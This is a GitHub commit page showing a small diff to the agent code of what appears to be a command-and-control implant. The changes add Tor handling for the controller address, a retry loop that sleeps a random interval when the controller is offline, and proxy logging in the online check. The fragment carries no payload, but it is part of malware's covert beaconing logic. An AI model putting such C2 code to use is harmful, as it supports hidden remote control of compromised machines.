Skip to content

Commit

Permalink
cc indicator: tor / http2 now works fine
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Dec 30, 2020
1 parent 3bb410a commit 3f206aa
Show file tree
Hide file tree
Showing 2 changed files with 4 additions and 2 deletions.
3 changes: 2 additions & 1 deletion core/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,7 @@ func main() {
ctx, cancel := context.WithCancel(context.Background())
log.Println("[+] It seems that we have internet access, let's start a socks5 proxy to help others")
go agent.StartBroadcast(true, ctx, cancel)
} else {
} else if !tun.IsTor(agent.CCAddress) {
// we don't, just wait for some other agents to help us
log.Println("[-] We don't have internet access, waiting for other agents to give us a proxy...")
ctx, cancel := context.WithCancel(context.Background())
Expand Down Expand Up @@ -150,6 +150,7 @@ connect:
if !agent.IsCCOnline(agent.AgentProxy) {
log.Println("CC not online")
time.Sleep(time.Duration(agent.RandInt(1, 120)) * time.Minute)
goto connect
}

// check in with system info
Expand Down
3 changes: 2 additions & 1 deletion core/internal/agent/poll.go
Original file line number Diff line number Diff line change
Expand Up @@ -46,12 +46,13 @@ func IsCCOnline(proxy string) bool {
// We use ABSURDLY large keys, and should probably not.
TLSHandshakeTimeout: 60 * time.Second,
}
if proxy != "" {
if proxy != "" && !tun.IsTor(CCAddress) {
proxyUrl, err := url.Parse(proxy)
if err != nil {
log.Fatalf("Invalid proxy: %v", err)
}
t.Proxy = http.ProxyURL(proxyUrl)
log.Printf("IsCCOnline: using proxy %s", proxy)
}
client := http.Client{
Transport: t,
Expand Down

0 comments on commit 3f206aa

Please sign in to comment.